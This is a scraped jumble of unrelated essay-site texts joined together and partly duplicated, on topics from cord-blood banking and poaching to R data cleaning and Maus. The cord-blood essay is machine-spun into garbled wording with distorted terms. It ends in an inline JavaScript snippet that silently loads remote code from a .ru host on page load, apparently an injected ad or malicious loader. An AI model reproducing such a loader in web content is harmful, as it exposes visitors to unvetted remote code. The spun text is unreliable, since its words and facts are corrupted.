all of these Spanish rulers demanded that the natives be treated fairly. In practice, however, the goodwill of the king was difficult to enforce. There was also an inherent conflict: the King wanted his native subjects to be happy, but the Spanish crown grew ever more dependent on the steady flow of gold and silver from the colonies, much of which was produced by slave labor in the mines. As for the New Laws, they marked an important shift in Spanish policy. The age of conquest was over: bureaucrats, not conquistadors, would hold power in the Americas. Stripping the conquistadors of their encomiendas meant nipping the burgeoning noble class in the bud. Although King Charles suspended the New Laws, he had other means of weakening the powerful New World elite and within a generation or two most of the encomiendas had reverted to the crown anyway.

Blood Of Children Sampling Essay Research Paper

Blood Of Children Sampling Essay, Research Paper Should parents pay a blood bank to hive away the blood from their newborn babe # 8217 ; s umbilical cord and placenta, in instance that kid or another household member of all time demands it to handle malignant neoplastic disease or leukaemia? Anticipant parents are being urged to make so by companies that have sprung up during the past few old ages to sell cord-blood banking as a signifier of biological insurance against such awful diseases. The pitch is based on studies in medical diaries, such as a major survey published last hebdomad in the New England Journal of Medicine, demoing that cord blood can sometimes be used in topographic point of a bone marrow graft. Like bone marrow, cord blood is rich in root cells, which can churn out many different types of cells to reconstruct a patient # 8217 ; s blood supply and immune system after high doses of radiation and chemotherapy. And a patient # 8217 ; s ain cord blood, or that from a comparative, is more likely than cord blood from an unrelated giver to be a good tissue lucifer and to be accepted by the receiver # 8217 ; s organic structure. Some experts in bone-marrow organ transplant and blood banking scowl on the cord-blood concern, reasoning that people are being frightened into blowing money on a service they will likely neer necessitate. Furthermore, private companies are turning in tandem with public Bankss, and some scientists worry that private banking will restrict public entree to cord blood. They are concerned because the cord blood in private Bankss remains the belongings of the donor household and is non available to patients seeking a compatible giver. But the companies say that nevertheless remote the possibility that the blood will be needed, people who choose to bank their ain cord blood have a right to make so. In most instances their cord blood would be thrown off in the bringing room if they did non pay to bank it. There are merely a few cord-blood Bankss in the United States, and most infirmaries do non hold specially trained staff members to roll up the blood. Like bone marrow, cord blood must be matched to the receiver by trials for six familial traits that determine an single # 8217 ; s tissue type. Cord blood does non hold to be as exactly matched as bone marrow, but still, the closer the lucifer, the better the odds of success. The weaker the lucifer, the more likely it is that the receiver # 8217 ; s organic structure will reject the graft, or the graft will assail the receiver # 8217 ; s tissues, in a dangerous reaction called transplant versus host disease. The companies that freezing cord blood and bank it point out that a individual # 8217 ; s ain cord blood is a perfect lucifer, and a sibling # 8217 ; s cord blood a more likely lucifer than a specimen from a alien. And so, the statement goes, the best manner to protect an full household from the unthinkable is to salvage the neonates # 8217 ; cord blood. Promotional literature for one company, Cord Blood Registry, in San Bruno, Calif. , emphasizes that people with malignant neoplastic disease in the household may hold a particular involvement in cord-blood banking, along with those who have the hardest clip happening lucifers, which includes members of racial minorities, particularly households in which the parents are of different races. Harmonizing to a spokeswoman, Scoti Kaesshaefer, the company reaches parents-to-be by advancing itself to physicians, nurses and childbearing pedagogues, and by go forthing information at infirmaries. Among the promotional stuffs the company provided to the New York Times were transcripts of articles from other newspapers proposing that malignant neoplastic disease among kids is on the rise. The company besides has a Web site and an 800 figure with a recorded salutation that instructs companies to hold their recognition cards ready. The thought of salvaging one # 8217 ; s ain cord blood seems to be catching on. Cord Blood Registry, which describes itself as the largest private cord-blood banking house in the United States, has stored 10,000 samples during the past three old ages: 1,500 in 1995, R / gt ; 3,000 in 1996 and 6,000 in 1997. The company charges an initial fee of $ 1,200 to roll up a sample and freezing it, and so $ 95 a twelvemonth to maintain it stored in liquid N at the blood bank at the University of Arizona. Customers include people with absolutely healthy kids, who merely want excess peace of head, as good as some households who have lost a kid to leukemia or another disease and fright for the wellness of their other kids. In its three old ages of operation, eight clients have retrieved their cord blood for usage in medical intervention, said Kaesshaefer. All eight samples were used for siblings or relations, she said. By contrast, the largest public-access bank of cord blood, at the New York Blood Center in Manhattan, has collected merely 8,686 specimens in six old ages. But about 800 of those samples have been used to handle patients, many of them kids, in the United States and overseas. Critics of private cord-blood companies point out that even if a individual with banked cord blood does necessitate a graft later, the stored blood may non be the best pick. Dr. Pablo Rubinstein, who directs the cord-blood plan at the New York Blood Center, said there was a compelling medical statement against utilizing a patient # 8217 ; s ain cord blood in some instances. In some immature kids with leukaemia, he said, malignant cells were already present at birth in the cord blood, and instilling those cells back into the kid subsequently might lend to a backsliding. In add-on, he said, bone marrow from a giver could assist destruct morbid cells, an consequence known as transplant versus leukaemia. A individual # 8217 ; s ain cord blood might non hold that consequence, and in some instances even a sibling # 8217 ; s might non. Dr. John Wagner, associate manager of bone marrow organ transplant at the University of Minnesota in Minneapolis, said that for a kid being treated late, he intentionally rejected cord blood from a sibling in favour of a well-matched unit from an unrelated giver, trusting to take advantage of its antileukemic consequence. Dr. Robertson Parkman, manager of bone marrow organ transplant at Children # 8217 ; s Hospital in Los Angeles, said he saw no point in banking cord blood for most households. It # 8217 ; s motivated by fright, he said. But in households with an sick kid who might necessitate a bone-marrow graft, he said, it makes sense to collect cord blood from any siblings born subsequently and salvage it. Medical centres with transplant plans will frequently execute that service, he said. So will some of the private companies, without a fee. When a bone-marrow giver could non be found for 4-year-old Joshua Kelton, who was enduring from leukaemia, his parents, stationed at a military base in Honolulu, conceived another kid in the hope that the babe # 8217 ; s tissues would fit Joshua # 8217 ; s. They did, and Cord Blood Register collected the cord blood at birth, stored it in Arizona for a month, and so, when Joshua was ready for the process, transported it to a medical centre at Stanford University. Joshua was treated with his baby brother # 8217 ; s cord blood in August, and has been declared free of leukaemia. Right now, he # 8217 ; s 100 per centum, his male parent said in a telephone interview, a normal kid, the manner he was before this happened. But the Keltons # 8217 ; experience is barely representative. That the household was certain it would necessitate the cord blood sets it apart from most households that store the blood. Wagner is wary of the hard sell of some of the cord-blood companies. My concern is that it be presented reasonably to expectant female parents, who are already reasonably vulnerable, he said. I have a batch of accoucheurs and parents naming me and kicking it # 8217 ; s excessively late, they missed the chance. Others call stating,# 8216 ; Should I make this? # 8217 ; It # 8217 ; s difficult to reply. I don # 8217 ; t want to bias them. We have person now who takes the calls for me because it got to be overpowering. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Reflection Paper - TRENDS & ISSUES IN TOURISM Research

Reflection - TRENDS & ISSUES IN TOURISM - Research Paper Example petite for these distinctive horns has led to the rapid reduction of rhinos to the extent in some regions have become extinct (â€Å"Rhino horn use: Fact vs.Fiction†). Although importation of rhino horns was banned in Yemen, they are still used by Muslims as handles for their curved daggers commonly referred as â€Å"Jambiya†. Many Asian countries such as Malaysia and china also manufacture their medicine from rhino horns, hence contributing to heightened termination of these species (â€Å"Rhino horn use: Fact vs.Fiction†). Africa is the home to the largest population of elephants commonly known as â€Å"Jumbos† (Joyce). Currently, a pound of ivory goes for$1,000 (Joyce). The sudden rise in the value of elephant tusks has led to an increase in the level of poaching throughout the continent (â€Å"BBC News World†). Recently, Kenya port officials managed to confiscate a large consignment of elephant tusks at their Mombasa port from Uganda destined fo r Malaysia (â€Å"BBC News Africa†). Tourism education can help curb poaching. Most of those who take part in poaching are normally citizens of that specific country. They should be made aware of how lack of tourists will greatly affect their economy, hence no income for citizens who own businesses such as lodges and restaurants (Craig). Based on the information presented in these articles, authors have explicitly elaborated the issue of poaching whose statistics are high in the developing states. This is by giving exact figures worth of recent consignments already captured by respective states’ wildlife authorities destined to the eastern states. These articles’ core theme encompasses predicament evident in developing states especially in Africa where poachers and cartels are exterminating â€Å"jumbos†, rhinos to get their tusks and horns respectively. However, they do not highlight measures which respective states have ensured to curb poaching except education. These materials have been of much benefit to me. This is

A Critical Exploration of Roles and Professionalism Essay

A Critical Exploration of Roles and Professionalism - Essay Example Professionalism in this respect and in relation to this paper and that of teaching profession in England shall be taking to encompass teacher’s conduct, their commitment to quality and to learners and upholding of positive attitude. A desirable teacher is the one who assists the learners to learn. The roles undertaken by the teacher require both educational expertise as well as content knowledge. As briefly indicated earlier, the teacher acts as a facilitator, as a role model to the learners, as an information provider, as a leaning resources developer, as a planner and as an assessor. In England the teacher is supposed to pass on information as well as knowledge to the learners. This is presumably the primary role that the teacher plays in facilitating leaning. Here the teacher is expected to share their thoughts in assisting to illuminate the ideas that underlie a certain subject of study. As a role model the teacher should uphold good moral grounds that every learner should emulate. The teacher on the other hand should at all time act as a learning facilitator and a mentor to their learners (Shirley et al. 1984). In England there has been a move towards having a more learner centred learning. Therefore, the teacher has become more of a facilitator in the learning process. The teacher is also taken to be an assessor of learners’ competence. This is where the teacher is supposed to be an excellent examiner who is able to incorporate all the assessment issues. The teacher is supposed to come up with the required learning outcomes as well as assess the learn ers’ leaning outcomes. In the process of assessing the learners’ competence in grasping the content taught, the teacher also assess themselves as the results indicate the effectiveness of the teaching processes applied there before. This encompasses the evaluation role that the teachers should play in instilling knowledge which forms a

National Service Framework Essay Example | Topics and Well Written Essays - 2500 words

National Service Framework - Essay Example Integrated mental health services are to be provided for older people. The process of translating these nationally supported standards into local delivery is outlined. (www.dh.gov.uk). Quality Standard for Health Care was launched in February 2004 and puts the quality at the forefront of the agenda for the NHS and for private and voluntary providers of NHS care. It shows the quality of health organizations, including NHS Foundation Trusts, and private and voluntary providers of NHS care, will be expected to meet in terms of safety, clinical and cost effectiveness, governance, patient focus, accessible and responsive care, care environment and amenities, and public health. (www.dh.gov.uk). The Quality Standard will be a key part in the assessment in the performance as assessed by the Healthcare Commision of all health care organizations. The above mentioned characteristics of NSF and QS will be used to prove that they are doing something to improve their services. Articles and useful websites will be used to strengthen our claim that NSF and QS are doing something. The aims of NSF will be presented to further understand the importance and role of NSF not just only on elderly but to everybody as well. Using the Donabedian framework we will assess the effectivity of the framework by choosing an organization. The paper will assess whether the organization are meeting the national standard. Donabedian framework includes the structure, process and outcome. The organization to be assessed is located in Nottingham Street Melton Mowbray Leicestershire. 1st Choice Abbey Homecare was rated excellent by the Commission for Social Care Inspection (CSCI). CSCI are non government organization that inspect and report on care services and councils. It is an independent but setup by Governmentto improve social care and stamp out bad practice. Abbey Care Home was founded in March 2000 by Jayne LEE, who through remarkable dedication has established her agency with the support of five managers and a team of highly respected professional care workers. The head office is based in Reading and has direct communications for referrals from Social Services, Direct Payments service users and the private sector. Abbey Home Care offers all year round support. The type of service is care home with nursing (private) with 97 residents. The home care is comfortable for the adult they have 87 single rooms. They can have their own GP if required, pets are allowed but with arrangements, strictly no smoking. Internal access includes lift and wheelchair access. External access includes easy accessible local shops, near public transport, minibus or other transport. To help the old age patient feel comfortable the home care create a garden for residents, communication accessories such as own phone point in the room, television set in the rooms to make the patient feel comfortable. The home provides well maintained and pleasant accommodation and grounds. The home was very clean and tidy on the day of inspection. Staff at the home was friendly and approachable. People spoken to confirmed that staff is kind and respectful. The Abbey Care is structured the way the patient wants it to be. It is

Ethical, Social and Environmental Standards and Practices of World Essay

Ethical, Social and Environmental Standards and Practices of World Bank - Essay Example The World Bank cordinates with a multiplicity of actors that include government agencies, civil society organization and private sector; thus, high degree of Ethical, Social and Environmental Standards and Practices should be maintained by the World Bank. Social and Environmental Standards and Practices The World Bank has received serious criticism from international and internal level because of the inequality of distributing funds to the need countries. Thus, it has changed its policies as it has persistently been developing new and diverse methods to support socially and environmentally sustainable development by involvement in World Bank projects. There are formulated safeguard policies that are compulsory strategies for every decision, or measure undertaken by the World Bank representatives (Marshall, 2008). The aim of these safeguards is to keep certain social and environmental standards in projects that are managed by the World Bank. Thus, social and environmental soundness is currently a crucial requirement in the project’s valuation of progress, especially for the loan agreement. Although, there is always interference of political and economic activities, the World Bank article of agreement demand that a measure be economically efficient and avoid political considerations. Meanwhile, there is a stronger connection between social and environmental considerations; the World Bank gives the social and environmental rights more weight than the economic development. Manske and Frey (2004) indicate that the environmental standards have to be compiled in every internal or external of World Bank decision and development measures with emphasis on the ecological aspect that act as conditions in a loan agreement. The environmental standards comprise the considerations of labor, health, safety gender and community issues of the developing countries. They contribute to promotion of democracy and human rights because the political awareness and participation i n activities of ecological concern is maintained. Thus, the World Bank has active responsibilities in setting social and environmental standards and promoting exceptional corporate governance. Its key principles are a standard for the financial industry in managing social and environmental issues in projects financing. The organization supports the management of social, environmental of its members, and signed corporate governance approach to promote reasonable governance practices. The approach supports the right and equitable treatment of its members on matters of social and environmental issues. Meanwhile, it supports the disclosure and transparency of the information to its members with a suggestion of the duties of representatives. According to Manske and Frey (2004), the transparency and disclosure of the information provides extra reputation to transparency for the natural resource development among the members. The disclosure of information of dangerous population to its mem bers has helped these members to implement various measures to stop the carbon emulsion into the environment. The organization has managed to introduce flexibility that is vital to customers because it comprises varying capacities and diverse financing products to its members. It enhances effectiveness and strengthens the significance of safeguards in changing its member’

Equity and Debt slp Assignment Example | Topics and Well Written Essays - 750 words

Equity and Debt slp - Assignment Example How this is important can be understood from the following example. While considering a small project needing investment of $10 million, the company ABC has several alternatives beforehand. It has been forecast that the project is likely to generate operating profit of $3 million in a year excluding interest charge against debt portion of the capital. The company has two alternatives to fund the required investment. The company may choose 100% equity means all money will be provided by the shareholders. The company may issue 10 million shares to its shareholders each having a par value of $1. In another alternative, the company may choose 50% equity and 50% debt to fund the investment. Debt is available to the company at 10% interest rates to be paid annually. It will be interesting to see how the earnings per share of the company are affected in both situations. It is amply clear from the above chart that by incorporating debt to funding the project the firm has been able to enhance its earnings per share resulting into higher valuation in market place. By applying the same P/E multiple, the company’s equity valuation is higher by 66% when the project is funded with the debt equity ratio of 1:1 instead of 100% equity. But this does not mean that debt can be raised to any level to enhance the company valuation. The higher the debt means the higher interest burden on the company. This also means that if the project is not able to pay its interest costs as usually happens in severe recession then the project will be in jeopardy due to higher interest burden. This also means that project must choose an appropriate mix of debt and equity depending upon its profitability and industry norms. Considering an investment project of $150m that is capable of generating 5m and 10m of operating profits before interest payments in its first two years of operations is likely to suffer from liquidity issues when it adopts its funding

National Service Framework Essay Example | Topics and Well Written Essays - 2500 words

National Service Framework - Essay Example Integrated mental health services are to be provided for older people. The process of translating these nationally supported standards into local delivery is outlined. (www.dh.gov.uk). Quality Standard for Health Care was launched in February 2004 and puts the quality at the forefront of the agenda for the NHS and for private and voluntary providers of NHS care. It shows the quality of health organizations, including NHS Foundation Trusts, and private and voluntary providers of NHS care, will be expected to meet in terms of safety, clinical and cost effectiveness, governance, patient focus, accessible and responsive care, care environment and amenities, and public health. (www.dh.gov.uk). The Quality Standard will be a key part in the assessment in the performance as assessed by the Healthcare Commision of all health care organizations. The above mentioned characteristics of NSF and QS will be used to prove that they are doing something to improve their services. Articles and useful websites will be used to strengthen our claim that NSF and QS are doing something. The aims of NSF will be presented to further understand the importance and role of NSF not just only on elderly but to everybody as well. Using the Donabedian framework we will assess the effectivity of the framework by choosing an organization. The paper will assess whether the organization are meeting the national standard. Donabedian framework includes the structure, process and outcome. The organization to be assessed is located in Nottingham Street Melton Mowbray Leicestershire. 1st Choice Abbey Homecare was rated excellent by the Commission for Social Care Inspection (CSCI). CSCI are non government organization that inspect and report on care services and councils. It is an independent but setup by Governmentto improve social care and stamp out bad practice. Abbey Care Home was founded in March 2000 by Jayne LEE, who through remarkable dedication has established her agency with the support of five managers and a team of highly respected professional care workers. The head office is based in Reading and has direct communications for referrals from Social Services, Direct Payments service users and the private sector. Abbey Home Care offers all year round support. The type of service is care home with nursing (private) with 97 residents. The home care is comfortable for the adult they have 87 single rooms. They can have their own GP if required, pets are allowed but with arrangements, strictly no smoking. Internal access includes lift and wheelchair access. External access includes easy accessible local shops, near public transport, minibus or other transport. To help the old age patient feel comfortable the home care create a garden for residents, communication accessories such as own phone point in the room, television set in the rooms to make the patient feel comfortable. The home provides well maintained and pleasant accommodation and grounds. The home was very clean and tidy on the day of inspection. Staff at the home was friendly and approachable. People spoken to confirmed that staff is kind and respectful. The Abbey Care is structured the way the patient wants it to be. It is

Equity and Debt slp Assignment Example | Topics and Well Written Essays - 750 words

Equity and Debt slp - Assignment Example How this is important can be understood from the following example. While considering a small project needing investment of $10 million, the company ABC has several alternatives beforehand. It has been forecast that the project is likely to generate operating profit of $3 million in a year excluding interest charge against debt portion of the capital. The company has two alternatives to fund the required investment. The company may choose 100% equity means all money will be provided by the shareholders. The company may issue 10 million shares to its shareholders each having a par value of $1. In another alternative, the company may choose 50% equity and 50% debt to fund the investment. Debt is available to the company at 10% interest rates to be paid annually. It will be interesting to see how the earnings per share of the company are affected in both situations. It is amply clear from the above chart that by incorporating debt to funding the project the firm has been able to enhance its earnings per share resulting into higher valuation in market place. By applying the same P/E multiple, the company’s equity valuation is higher by 66% when the project is funded with the debt equity ratio of 1:1 instead of 100% equity. But this does not mean that debt can be raised to any level to enhance the company valuation. The higher the debt means the higher interest burden on the company. This also means that if the project is not able to pay its interest costs as usually happens in severe recession then the project will be in jeopardy due to higher interest burden. This also means that project must choose an appropriate mix of debt and equity depending upon its profitability and industry norms. Considering an investment project of $150m that is capable of generating 5m and 10m of operating profits before interest payments in its first two years of operations is likely to suffer from liquidity issues when it adopts its funding

Assess the contribution of Social Action Theory to sociology Essay Example for Free

Assess the contribution of Social Action Theory to sociology Essay Social Action Theorists, or Interactionists are also known as micro sociologists, this is because instead of looking at the bigger picture in society, and how the large structures and institutions such as the education and judiciary systems affect individuals, which is what Marxists and Functionalists (macro sociologists) look at, Social Action Theorists look at the opposite, how us, individuals, act by our own accord, and how we make up society. This is known as a ‘bottom up’ view of society. They see people as having a much more active role in society, as opposed to the passive puppets that Structuralists make us out to be. They reject the view that our behaviour is the product of these organisations and structure. Although Social Action Theorists do look very much as individual behaviour, they also take into account the fact that we are aware of the people around us, they argue that our behaviour is influenced by how other individuals react to us and behave, so society is made up because people come together and interact. We are able to react to each other’s behaviour in this way because we have learnt how to expect what people should and shouldn’t do, and how to interpret behaviour. We have meanings for various symbols during interactions, for example, someone frowning may show confusion or anger, and someone swearing with a hand gesture may be insulting, because of these codes and symbols, we are able to anticipate behaviour, and judge how people are feeling. This also gives us a knowledge about what behaviour is and isn’t appropriate in certain situations. These different situations can also affect how we behave and what behaviour is acceptable, for example shouting and swearing may be seen as acceptable at a football match, but this would be highly inappropriate in the middle of a supermarket or library. These behaviours and expected ways of carrying ourselves, or norms and values, (especially the basic ones, such as how to act around others) are learnt from the family at a young age. However education teaches us how to act in a larger range of social situations. The acquiring of this knowledge is what leads to us gaining our identity. Social action theorists suggest that there are three main parts to our identity. The first of these parts is the things that make us individual, such as name, signature and photograph. The second aspect is social identity, which is made up of the personality characteristics that are associated with our role in society. For example, I am seen as an older brother, which society may make me out to be annoying and protective of my younger sibling, but I am also seen as a student, who is perceived to be hard-working and well-behaved. The final part of our identity is the concept of ‘self’, or what we think of ourselves, and how we think we play our respective roles. This concept of ‘self’ has been developed further by social action theorists, who believe that this can be further broken down into two components, the ‘I’ and the ‘me’. The ‘I’ is the private inner self, what we truly think of ourselves, whereas ‘me’ is the social self, and is the one that carries out the roles of brother and student. Goffman referred to society as a play, and that we are all as individuals, actors in this play, or in the drama of everyday life. The expected ways of behaving, or social norms are the script, for example, greeting someone with ‘Good morning’ is expected. He suggests that the roles we carry out are simply a performance designed to create a particular impression. For example in front of grandparents, I put on this performance of being exceptionally well mannered (believe it or not). Another part of social action theory is the concept of labelling. This is when someone is put into a group, or stereotyped, because of the way they look or act. For example a young person may be labelled as a ‘goth’ because they have pale skin, black hair, and listen to a certain type of music. Becker came up with the idea of a Master Status. This means that an individual can have a status (normally negative) which overrides all other labels. For example, someone may be a very good brother and son, but then may be arrested for robbery, and then the label of ‘criminal’ will become his master status, and people won’t see the brother or the son they saw before, they will simply see him as a criminal. It is believed that these labels lead to a self-fulfilling prophecy. This means that someone will react to the label they have been given, and this label will become true. For example, if a teacher (very wrongly) labels a student as ‘dumb’ they may think they genuinely are dumb, and will not do well at school. However it has been argued that the opposite can occur, and people may go out of their way to disprove their label, to carry on with the example before, the ‘dumb’ student may try exceptionally hard at home and at school, to prove the teacher wrong, the label may act as motivation. There are many criticisms of Social Action Theory, one being that they tend to be very vague when describing who is responsible for creating these norms and values, and interpretations that mean we know how to act around people and in certain situations. They fail to explain power, and factors which may affect these norms such as class or gender.

Using RStudio to Prepare and Clean Data

Using RStudio to Prepare and Clean Data There is now more data available than ever before, the depth and scope is increasing daily. The explosion of the internet and connected devices has increased this and big data is now big business. With the increase in data available to us, so has the need for analysis of this data. Many companies use this data to predict future trends. Also, what has changed is the tools we use to analysis and present this data in a meaningful way. In the past statistical software was very expensive and often with no graphical capabilities. Enter the R programming language a tool that supports both, first released in 1995 with the first stable build in 2000, now on version 3 which was released in 2013. R is a free open source project with over 7000 add on packages available. Many companies such as Google and Facebook are using R for their data analysis. In this lab book we will look at cleaning and preparing data so it can analysed. We will use R Studio which is an IDE (Integrated development environment) for the R programming language. R Studio is available as an open source or commercial version, it has two editions R Studio desktop and R Studio Server and runs on Windows, macOS and Linux operating systems. The dataset we have is from the UK government, and is based on MOT outlets in England, Scotland, and Wales, it contains data such as name, address, post codes, telephone numbers and categories of vehicles tested. On quick analysis of the dataset there are a lot of blank fields, extra white spaces, typos in the telephone column as well as second telephone numbers separated by the / symbol. Using R Studio we will attempt to tidy and clean the dataset. In this lab book we will explain the various commands and techniques used to prepare the data for analytical analysis. Make a copy of the data to work with: Method: Here we make a copy of the original dataset x2016motsitelist and call it MotList, this is good practice as you will not contaminate the original dataset. Test: Result: From the above screen shot you can see we have renamed our dataset to MotList, by using the name of the dataset in R studio it lists the dataset in a screen dump on the console. Get the Stucture of Our Data Frame Method: by using the str() command in the console we get the structure of our data. Test: Result: by using the structure command str() we can see that our dataset has 22,980 objects and 14 different variables. The next lines which contain $ indicate column headings and display some of the components included in these columns. This command just provides a list with components and names. View the data Method: Using the Head command to view the data. Test: Result: using this command the first 6 records are displayed in the console window. ID names of columns Method: We use the Names command to display column names. Test: Result: this displays the names of our columns in the console window. Summary of what is contained in the columns Method: we use the Summary command to get an overview of the data in our columns. Test: Result: the summary command gives us an overview for every vector in the data frame, tells us in our case that the length is 22980 rows, that all vectors are character classes. Missing values Method: we will use the is.na command, combination of is.na with the any command and lastly the sum command to check for missing values in the data. Test: Result: the result of the is.na command returns a Boolean true or false result on the data set to tell us if a missing value is present or not. Test: Result: with the use of the any command we find that there is indeed missing data in the dataset. Test: Result: with the use of the sum command we get the number of missing records, which is 149097 in this case. Rename columns in our data set. Method: we use the colnames command to change the columns in our data set that are numbered 1,2,3,4,5 and 7. Test: Result: with the use of the above commands we change the name of the columns using the name to identify which column to apply the name change to. We use the names(MotList) to verify the result. Test: Remove NA from the different categories of vehicle that are Mot tested Method: we create another copy of our dataset and call it MotListMod, on this dataset we will change the NA values in the columns that we renamed earlier so that the different categories of vehicles tested will have complete values and no missing data. We do this by giving the dataset name and then the $ column name, we then use the which command and is.na to change the value to the desired result. Test: Result: As can be seen from the screen shot above, we have changed the NA values in the six columns of our dataset, our dataset now tells us if a Mot test centre carries out tests on the different vehicle categories Y or N, were as before it only told us the if the centre did Y with a blank field for N. Again, we run the sum is.na command on both datasets we have, now the MotListMod dataset has far less Nas in the dataset. Remove and tidy up VTS Telephone column. Method: Firstly, using the GSUB command we removed instances of Tel. and TEL. from our column, secondly, we separate the column in two sections number 1 and 2 with the SEPARATE command as some of the test centres have two telephone numbers separated by / in the dataset, thirdly we tidy up the white space. Test: Using GSUB wrongly above didnt produce the desired outcome, but in the two screens below we get the desired outcome. The above screen shows were the VTS Telephone column is split into different sections. Trimming white space from the front of the telephone numbers. Removing the NAs from the VTS Telephone number2 Result: By using GSUB and identifying the column we wanted to target, we replaced the instances of Tel. and TEL. in our dataset with whitespace, we then proceeded to split the column into two different sections, when we did this it created a lot of NAs in the second column because not every test centre has two telephone numbers, so to counter act this we replace the NAs with the value 0. We then tidy up the white space at the start of the two columns. Write to CSV file in R studio Method:ÂÂ   We will write the MotListMod3 dataset to a CSV file with the WRITE.CSV command. Test: Result: The above command writes the dataset to a csv file and can be viewed or shared with others, see above screen shot of the file in excel. Outliers and plot function. Method: using the HIST command we produce a histogram of the cars column, the columns class had to be changed to a factor form to make the function work, also we used the Table command to count the number of Y and N in this column. Test: In the screen shot above you can see a histogram of the cars column. Result: No outliers are present as our columns only have a Y or N present in the different type of vehicles tested columns. Also, our data was of class character, this had to be converted to a factor form so as we could use the histogram function on the column cars. We used the table command on the column to display a numeric result for N = 1054 and Y=21926.

Rhetorical Analysis of McKibben’s Article, Power Play Endangers Hawaii

Rhetorical Analysis of McKibben’s Article, Power Play Endangers Hawaii's Rain Forest Protecting Hawaii’s rain forest from the invasion of Corporate America is Bill McKibben’s intention as an environmentalist. His 28-paragraph article, â€Å"Power Play Endangers Hawaii’s Rain Forest,† appeared in Rolling Stone, a popular culture magazine, on May 31, 1990. He argues that producing power through geothermal drilling harms the Wao Kele o Puna rain forest, the environment, and the people that live nearby. He also presents alternative methods for power, hoping that people will consider these, such as solar-water heating systems and energy efficient gadgets. Unfortunately, his elevated, subjective stance and attempt to convince his audience through emotion distracts the reader from considering the other side of the argument because he appears to be a reliable, educated author. McKibben’s writing style makes it difficult for readers to truly understand the argument he presents; therefore, they are gullible to accepting his opinions. McKibben embarks on a rampage in this article, seeming to continuously ramble on with concepts that fly over the average person’s head. He uses words such as â€Å"Class C forest,† â€Å"A-2 forest,† â€Å"peak-load electricity,† â€Å"geothermal drilling,† and â€Å"hydrogen sulfide emissions.† McKibben must not be thinking of his audience because for the audience to grasp his argument thoroughly he needs to define these concepts well. If he were writing for a science magazine in which his audience would be well educated in environmental issues, his writing style would be accepted. But this article appeared in Rolling Stone where the audience is not educated on these issues. His bitter and intense voice makes the reader feel as if th... ...and often sits in the dark when the sun is not out to express his dissatisfaction with exploiting the resources of the rain forest. McKibben inserts this example because it makes the reader feel that he has an obligation to save the rain forest at the expense of their comfort. Therefore, McKibben’s tactics aim to move the reader into an emotional ride of responsibility to the rain forest versus living life normally. In conclusion, McKibben’s writing style and use of pathos sway the reader to accept his argument as truth even though his arguments may not be valid. Since McKibben portrays himself as a credible author, the audience believes him especially because he is writing to the general public through a pop culture magazine. The issue of preserving the rain forest versus using the resources that it provides will continue to be in debate in the years to come.

Understanding the Holocaust through Art Spiegelmans Maus Essay

The experience of being in the Holocaust is hard to imagine. The physical pain and fear that a survivor of the Holocaust felt could never fully be understood by anyone other than a fellow survivor. The children of survivors may not feel the physical pain and agony as their parents did, but they do feel the psychological effects. For this reason Artie and his father could never connect. The Holocaust built a wall between them that was hard to climb. Artie makes an attempt to overcome the wall between him and his father by writing the comic Maus about his father’s life in hopes to grow closer to him and understand him better, yet he struggles in looking past his father’s picky habits and hypocritical attitude. Artie’s father, Valdek, as he knew him growing up was stingy. He was stingy with money, food, matches, and even toothpicks. All the food on his plate had to be eaten, or it would be served to him the next night and the night after that until it was gone. Valdek’s obsessive behavior about not wasting anything aggravated Artie to no end. "He grabs paper towels from restrooms so he won’t have to buy napkins or tissues," vented Artie to his stepmother. Once Artie used an extra match and Valdek yelled at him for his wastefulness. His life could never compare to how hard Valdek’s was, and this bothered Artie. At the very opening of the story, Artie cries because his friends leave him when he falls off his skates and his father tells him that, "If you lock them together in a room with no food for a week then you could see what it is, friends!" All things relate to the Holocaust for Valdek and this makes Artie feel guilty for not having such a hard life and fo r that feeling of guilt Artie becomes angry and distances himself fr... ...in his life still plagued him. As a result he wrote Maus. It not only allowed him to enter into his father’s world, but also gave him an objective view of his relationship with his father. He spent many afternoons with his father in his pursuit of understanding. He became aware of the events in his father’s past, but still could not comprehend why his father could not put it behind him. He could not understand why other survivors of the Holocaust could move on, but his father could not. Artie is overwhelmed by the events of his life. He is dealing with the death of his mother, and a father who can’t let go of the past. He longs to understand the world of his father and talk to him once without arguing, but the walls have been built up too high that even after his father’s death, although more enlightened, he is just as confused as to who his father was.

Terry Scholarship Applicant

Terry Scholarship Applicants: Use this essay to discuss an experience demonstrating your leadership outside the classroom. ) Describe a significant setback, challenge or opportunity in your life and the impact that it has had on you. Dance has always been my passion. When I was undergoing some difficult problems in my life, I always turned back to dancing. For nine years I had been going to the same dance studio, Pointe & Plie, however, a couple of years ago the owner of the company had closed her dance studio and relocated to another city.I was devasted because I had grown to love the instructors and build a strong friendship with the girls there. After that I knew dance would never be the same. It wasn’t until a couple years later, that a opportunitity opened up at my church. One of my friends, Tess, had been wanting to start a Praise & Worship Dance Team. She was barely going to start the team, and she asked me if I could help her recruit more people and make routines.I was a bit hestiate because I hadn’t danced in a while, but she convinced me that through my years of experience, I could do it. I ended up adding five more girls to the team, and were able to perform numerous of times at our church. The dance team was doing magnificent, and with more experience, we started performing outside of our church, such as youth rallies, musicals, local events, and different churches. The girls had grown to love dance.The year was coming to an end, and we could not wait for what exciting performances and activites we could do the upcoming year. However, Tess, the captain of the dance team, was leaving to college. Some of the girls had gotten discouraged because they thought dancing was over, however, I was not going to repeat the same mistake. I took the iniative to pick the team up and continue the performances even after she left. We continued to practice, and each day we got better; we even were blessed to have more members to the dance team.And to th is day, we are still performing a different routine every month at our local church. We also have added a young dance team that run ages 9-14, they also perform with us to routines taught my myself and some of my friends. Through this experience, I learned to be a leader and to not loose faith in what your passion is. Dancing will never end for me. Eventhough, I have had some setbacks, I will continue doing what I love. I hope to one day inspire the people around me to not loose sight in your dream, even if things do not go as planned.

Second Periodic Test

